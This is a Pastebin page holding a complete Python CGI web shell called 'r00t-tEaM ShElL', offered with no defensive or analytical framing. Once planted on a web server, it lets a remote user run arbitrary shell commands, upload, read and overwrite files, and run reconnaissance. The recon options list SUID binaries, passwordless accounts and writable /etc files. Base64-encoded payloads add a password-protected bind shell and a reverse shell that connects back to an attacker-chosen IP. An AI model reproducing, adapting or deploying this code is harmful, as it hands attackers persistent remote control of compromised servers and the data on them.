API tools faq
paste
lehieuit

shell.py

lehieuit
Nov 7th, 2012
268
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.95 KB | None | 0 0
raw download clone embed print report
  1. #!/usr/bin/python
  2. """
  3. r00t-tEaM ShElL
  4. """
  5.  
  6. try:
  7. import cgitb; cgitb.enable()
  8. except:
  9. pass
  10. import sys, cgi, os, base64, subprocess
  11. from time import strftime
  12. from string import Template
  13.  
  14. bind_port = """aW1wb3J0IG9zLCBzeXMsIHNvY2tldCwgdGltZQpQT1JUID0gaW50KHN5cy5hcmd2WzFdKQpQVyA9
  15. IHN5cy5hcmd2WzJdCnNvY2sgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5T
  16. T0NLX1NUUkVBTSkKc29jay5iaW5kKCgiMC4wLjAuMCIsUE9SVCkpCnNvY2subGlzdGVuKDUpClNI
  17. RUxMPSIvYmluL2Jhc2ggLWkiCndoaWxlIFRydWU6CiAgICB0cnk6CQogICAgICAgIChjb25uLGFk
  18. ZHIpID0gc29jay5hY2NlcHQoKQogICAgICAgIG9zLmR1cDIoY29ubi5maWxlbm8oKSwwKQogICAg
  19. ICAgIG9zLmR1cDIoY29ubi5maWxlbm8oKSwxKQogICAgICAgIG9zLmR1cDIoY29ubi5maWxlbm8o
  20. KSwyKQogICAgICAgIHByaW50ID4+IHN5cy5zdGRlcnIsICdQYXNzd29yZDogJywKICAgICAgICBw
  21. ID0gY29ubi5yZWN2KDEwMjQpCiAgICAgICAgcCA9IHAuc3RyaXAoKQogICAgICAgIGlmIHAgPT0g
  22. UFc6CiAgICAgICAgICAgIG9zLnN5c3RlbSgiL2Jpbi9iYXNoIC1pIikKICAgICAgICBlbHNlOgog
  23. ICAgICAgICAgICBwcmludCA+PiBzeXMuc3RkZXJyLCAiR28gdG8gaGVsbCIKICAgICAgICBjb25u
  24. LmNsb3NlKCkKICAgIGV4Y2VwdCBFeGNlcHRpb24sZTogIAogICAgICAgIHByaW50IGUKICAgICAg
  25. ICB0aW1lLnNsZWVwKDEpCg=="""
  26.  
  27. back_connect = """aW1wb3J0IHNvY2tldCwgb3MsIHN5cwpIT1NUID0gc3lzLmFyZ3ZbMV0KUE9SVCA9IGludChzeXMu
  28. YXJndlsyXSkKU0hFTEwgPSAiL2Jpbi9iYXNoIC1pIgpzb2NrID0gc29ja2V0LnNvY2tldChzb2Nr
  29. ZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pCnNvY2suY29ubmVjdCgoSE9TVCxQT1JUKSkK
  30. dHJ5OgogICAgb3MuZHVwMihzb2NrLmZpbGVubygpLCAwKQogICAgb3MuZHVwMihzb2NrLmZpbGVu
  31. bygpLCAxKQogICAgb3MuZHVwMihzb2NrLmZpbGVubygpLCAyKQogICAgb3Muc3lzdGVtKFNIRUxM
  32. KQpleGNlcHQgRXhjZXB0aW9uLGU6CiAgICBwcmludCBlCnNvY2suY2xvc2UoKQo="""
  33.  
  34. # HTML
  35.  
  36. html = Template("""
  37. <html>
  38. <head>
  39. <title>r00t-tEaM</title>
  40. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
  41. <style>
  42. body {
  43. color:#fff;
  44. background-color:#585858;
  45. font-size:11px;
  46. }
  47. table {
  48. font-family: Verdana, Tahoma;
  49. font-size:11px;
  50. }
  51. tr {
  52. border: #D9D9D9 1px solid;
  53. }
  54. td {
  55. border: #D9D9D9 1px solid;
  56. }
  57. a {
  58. color: #fff;
  59. }
  60. input {
  61. background-color:#800000;
  62. color:#FFFFFF;
  63. font-family:Tahoma;
  64. font-size:8pt;
  65. }
  66. select {
  67. background-color:#800000;
  68. color:#FFFFFF;
  69. font-family:Tahoma;
  70. font-size:8pt;
  71. }
  72. textarea {
  73. background-color:#800000;
  74. color:#FFFFFF;
  75. font-family:Tahoma;
  76. font-size:8pt;
  77. }
  78. </style>
  79. </head>
  80. <body>
  81. <script type="text/javascript">
  82. function toggleEnviron()
  83. {
  84. if (document.getElementById('environ_table').style.display=="none")
  85. document.getElementById('environ_table').style.display="";
  86. else
  87. document.getElementById('environ_table').style.display="none";
  88. }
  89. </script>
  90. <center><h2>=== r00t-tEaM ShElL ===</h2></center>
  91. <a href="javascript:void(0)" onclick="javascript:toggleEnviron()">Show/Hide Environment variables</a>
  92. $environ_table
  93. <p />
  94. <table width="100%">
  95. <tr><td>
  96. uname -a: $uname <br />
  97. $uid
  98. </td></tr>
  99. </table>
  100. <p />
  101. <div style="display:$edit_file_box_visibility">
  102. <b>Edit File:</b> <br />
  103. <form method="POST" action="?">
  104. <textarea name="file_content" cols="200" rows="30" >$file_content</textarea>
  105. <input type="hidden" value="$cur_dir" size="50" name="cur_dir" /> <br />
  106. <input type="hidden" value="save_file" size="50" name="command" /> <br />
  107. <input type="hidden" value="$file_name" size="50" name="file_name" /> <br />
  108. <input type="submit" value="Save">
  109. </form>
  110. <p />
  111. </div>
  112. <table width="100%">
  113. <tr>
  114. <td style="text-align:center">
  115. <b>:: Change Dir ::</b><br />
  116. <form action="?" method="POST">
  117. <input type="text" value="$cur_dir" size="50" name="cur_dir">&nbsp;<input type="submit" value="Go">
  118. </form>
  119. </td>
  120. <td style="text-align:center">
  121. <b>:: Get File ::</b><br />
  122. <form action="?" method="POST">
  123. <input type="text" value="$cur_dir" size="50" name="cur_dir">&nbsp;<input type="submit" value="Go">
  124. </form>
  125. </td>
  126. </tr>
  127. </table>
  128. <p />
  129. <table width="100%">
  130. <tr>
  131. <td colspan="2" style="text-align:center"><b>$cur_dir</b></td>
  132. </tr>
  133. <tr>
  134. <td><pre>$list_files</pre></td>
  135. </tr>
  136. </table>
  137. <p />
  138. <b>Result of command</b><br />
  139. <table width="100%">
  140. <tr>
  141. <td>
  142. <textarea cols="200" rows="10">$command_result</textarea>
  143. </td>
  144. </tr>
  145. </table>
  146. <table width="100%">
  147. <tr>
  148. <td style="text-align:center" width="50%">
  149. <b>:: Execute Command ::</b><br />
  150. <form action="?" method="POST">
  151. <input type="hidden" value="$cur_dir" size="50" name="cur_dir" />
  152. <input type="text" value="" size="50" name="command">&nbsp;<input type="submit" value="Execute">
  153. </form>
  154. </td>
  155. <td style="text-align:center">
  156. <b>:: Useful Commands ::</b><br />
  157. <form action="?" method="POST">
  158. <select name="command">
  159. <option value="uname -a">Kernel version</option>
  160. <option value="w">Logged in users</option>
  161. <option value="lastlog">Last to connect</option>
  162. <option value="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins</option>
  163. <option value="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD!</option>
  164. <option value="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/?</option>
  165. <option value="which wget curl w3m lynx">Downloaders?</option>
  166. <option value="cat /proc/version /proc/cpuinfo">CPUINFO</option>
  167. <option value="netstat -atup | grep IST">Open ports</option>
  168. <option value="locate gcc">gcc installed?</option>
  169. </select>
  170. <input type="hidden" value="$cur_dir" size="50" name="cur_dir" />
  171. <input type="submit" value="Go" />
  172. </form>
  173. </td>
  174. </tr>
  175. </table>
  176. <p />
  177. <table width="100%">
  178. <tr>
  179. <td style="text-align:center" width="50%">
  180. <b>:: Create Dir ::</b><br />
  181. <form action="?" method="POST">
  182. <input type="text" value="$cur_dir" size="50" name="new_dir">&nbsp;<input type="submit" value="Create">
  183. <input type="hidden" value="mkdir" size="50" name="command" />
  184. <input type="hidden" value="$cur_dir" size="50" name="cur_dir">
  185. </form>
  186. </td>
  187. <td style="text-align:center">
  188. <b>:: Upload File ::</b><br />
  189. <form action="?" method="POST" enctype="multipart/form-data">
  190. <input type="file" name="file">&nbsp;<input type="submit" value="Upload">
  191. <input type="hidden" value="upload" size="50" name="command" />
  192. <input type="hidden" value="$cur_dir" size="50" name="cur_dir">
  193. </form>
  194. </td>
  195. </tr>
  196. </table>
  197. <p />
  198. <table width="100%">
  199. <tr>
  200. <td style="text-align:center" width="50%">
  201. <b>:: Search Text in Files ::</b><br />
  202. <form action="?" method="POST">
  203. <table width="100%">
  204. <tr>
  205. <td width="50%" style="border:none;text-align:right">Text: </td>
  206. <td style="border:none"><input type="text" value="" size="30" name="search_text" /></td>
  207. </tr>
  208. <tr>
  209. <td width="50%" style="border:none;text-align:right">Directory: </td>
  210. <td style="border:none"><input type="text" value="$cur_dir" size="30" name="search_dir" /></td>
  211. </tr>
  212. <tr>
  213. <td width="50%" style="border:none;text-align:right">Include File Pattern: </td>
  214. <td style="border:none"><input type="text" value="" size="30" name="include_pattern" /></td>
  215. </tr>
  216. <tr>
  217. <td width="50%" style="border:none;text-align:right">Exclude File Pattern: </td>
  218. <td style="border:none"><input type="text" value="" size="30" name="exclude_pattern" /></td>
  219. </tr>
  220. </table>
  221. <input type="submit" value="Search">
  222. <input type="hidden" value="search_text" size="50" name="command" />
  223. <input type="hidden" value="$cur_dir" size="50" name="cur_dir">
  224. </form>
  225. </td>
  226. <td style="text-align:center;vertical-align:top">
  227. <b>:: Edit File ::</b><br />
  228. <form action="?" method="POST">
  229. <input type="hidden" value="$cur_dir" size="50" name="cur_dir" />
  230. <input type="hidden" value="edit_file" size="50" name="command">
  231. <input type="text" value="$cur_dir" size="50" name="file_name">
  232. &nbsp;<input type="submit" value="Edit">
  233. </form>
  234. </td>
  235. </tr>
  236. </table>
  237. <p />
  238. <table width="100%">
  239. <tr>
  240. <td style="text-align:center" width="50%">
  241. <b>:: Bind port to /bin/bash ::</b><br />
  242. <form action="?" method="POST">
  243. <table width="100%">
  244. <tr>
  245. <td width="50%" style="border:none;text-align:right">Port: </td>
  246. <td style="border:none"><input type="text" value="" size="10" name="port" /></td>
  247. </tr>
  248. <tr>
  249. <td style="border:none;text-align:right">Password: </td>
  250. <td style="border:none"><input type="text" value="" size="10" name="password" /></td>
  251. </tr>
  252. </table>
  253. <input type="submit" value="Bind">
  254. <input type="hidden" value="bind_port" size="50" name="command" />
  255. <input type="hidden" value="$cur_dir" size="50" name="cur_dir">
  256. </form>
  257. </td>
  258. <td style="text-align:center" width="50%">
  259. <b>:: back-connect ::</b><br />
  260. <form action="?" method="POST">
  261. <table width="100%">
  262. <tr>
  263. <td width="50%" style="border:none;text-align:right">IP: </td>
  264. <td style="border:none"><input type="text" value="" size="10" name="ip" /></td>
  265. </tr>
  266. <tr>
  267. <td style="border:none;text-align:right">Port: </td>
  268. <td style="border:none"><input type="text" value="" size="10" name="port" /></td>
  269. </tr>
  270. </table>
  271. <input type="submit" value="Connect">
  272. <input type="hidden" value="back_connect" size="50" name="command" />
  273. <input type="hidden" value="$cur_dir" size="50" name="cur_dir">
  274. </form>
  275. </td>
  276. </tr>
  277. </table>
  278. <p />
  279. <table width="100%">
  280. <tr>
  281. <td style="text-align:center"><b>(.)(.) [r00t-tEaM] (.)(.)</b></td>
  282. </tr>
  283. </table>
  284. </body>
  285. </html>
  286. """)
  287.  
  288. scriptname = ""
  289.  
  290. if os.environ.has_key("SCRIPT_NAME"):
  291. scriptname = os.environ["SCRIPT_NAME"]
  292.  
  293. def get_environ_table():
  294. s = "<table style=\"display:none\" id=\"environ_table\">"
  295. for k in os.environ:
  296. s+="<tr><td>%s</td><td>%s</td></tr>"%(k,os.environ[k])
  297. s+="</table>"
  298. return s
  299.  
  300. def run_command(command):
  301. p = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, close_fds=True)
  302. (i,o) = p.stdin,p.stdout
  303. return o.read()
  304.  
  305. def get_param(form, param,default=None):
  306. if form.has_key(param):
  307. return form.getvalue(param)
  308. return default
  309.  
  310. def can_write(file_name):
  311. try:
  312. f = open(file_name,"w")
  313. f.close()
  314. return True
  315. except:
  316. return False
  317.  
  318. def put_script(base_name,encoded_script):
  319. script = base64.b64decode(encoded_script)
  320. i = 0
  321. file_name = "/tmp/"+base_name + str(i)
  322. while not can_write(file_name):
  323. i+=1
  324. file_name = "/tmp/"+base_name + str(i)
  325.  
  326. f = open(file_name,"w")
  327. f.write(script)
  328. f.close()
  329. return file_name
  330.  
  331. def main():
  332.  
  333. print "Content-type: text/html" # header
  334. print # blank line
  335.  
  336. form = cgi.FieldStorage()
  337. uname = run_command("uname -a")
  338. uid = run_command("id")
  339.  
  340. cur_dir = get_param(form, "cur_dir",os.getcwd())
  341.  
  342. if not os.path.exists(cur_dir):
  343. cur_dir = os.getcwd()
  344. os.chdir(cur_dir)
  345. command = get_param(form,"command")
  346. command_result = ""
  347.  
  348. file_content = ""
  349. file_name = ""
  350. edit_file_box_visibility = "None"
  351.  
  352. if command == "mkdir":
  353. new_dir = get_param(form,"new_dir")
  354. command_result = run_command("mkdir " + new_dir)
  355. elif command == "upload":
  356. upload_file = form["file"]
  357. try:
  358. f = open(upload_file.filename,"w")
  359. while True:
  360. chunk = upload_file.file.read(1024)
  361. if not chunk: break
  362. f.write(chunk)
  363. f.close()
  364. except Exception,e:
  365. command_result = str(e)
  366.  
  367. elif command == "search_text":
  368. search_text = get_param(form,"search_text","")
  369. search_dir = get_param(form,"search_dir",".")
  370. include_pattern = get_param(form,"include_pattern")
  371. exclude_pattern = get_param(form,"exclude_pattern")
  372. cmd = "grep -ir \"%s\" %s " % (search_text,search_dir)
  373. if include_pattern:
  374. cmd += "--include=%s " % include_pattern
  375. if exclude_pattern:
  376. cmd += "--include=%s " % exclude_pattern
  377. command_result = run_command(cmd)
  378.  
  379. elif command == "edit_file":
  380. file_name = get_param(form,"file_name")
  381. try:
  382. f = open(file_name,"r")
  383. file_content = f.read()
  384. f.close()
  385. edit_file_box_visibility = ""
  386. except:
  387. command_result = "Cannot open file"
  388. file_content = ""
  389. edit_file_box_visibility = "None"
  390.  
  391. elif command == "save_file":
  392. file_name = get_param(form,"file_name")
  393. file_content = get_param(form,"file_content")
  394. try:
  395. f = open(file_name,"w")
  396. f.write(file_content)
  397. f.close()
  398. command_result = "Successful"
  399. except:
  400. command_result = "Cannot write to file"
  401.  
  402. elif command == "bind_port":
  403. port = get_param(form,"port")
  404. password = get_param(form,"password")
  405. file_name = put_script("bp",bind_port)
  406. pid = subprocess.Popen(["python %s %s %s" % (file_name,port,password)],shell=True).pid
  407. command_result = "Process ID : %d " % pid
  408.  
  409. elif command == "back_connect":
  410. port = get_param(form,"port")
  411. ip = get_param(form,"ip")
  412. file_name = put_script("bc",back_connect)
  413. pid = subprocess.Popen(["python %s %s %s" % (file_name,ip,port)],shell=True).pid
  414. command_result = "Process ID : %d " % pid
  415.  
  416. elif command != None:
  417. command_result = run_command(command)
  418.  
  419. list_files = run_command("ls -alh " + cur_dir)
  420.  
  421. print html.substitute(environ_table=get_environ_table(),
  422. uname = uname,
  423. uid = uid,
  424. list_files = list_files,
  425. cur_dir = cur_dir,
  426. command_result = command_result,
  427. file_content = file_content,
  428. file_name = file_name,
  429. edit_file_box_visibility = edit_file_box_visibility
  430. )
  431.  
  432. if __name__ == '__main__':
  433. main()
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!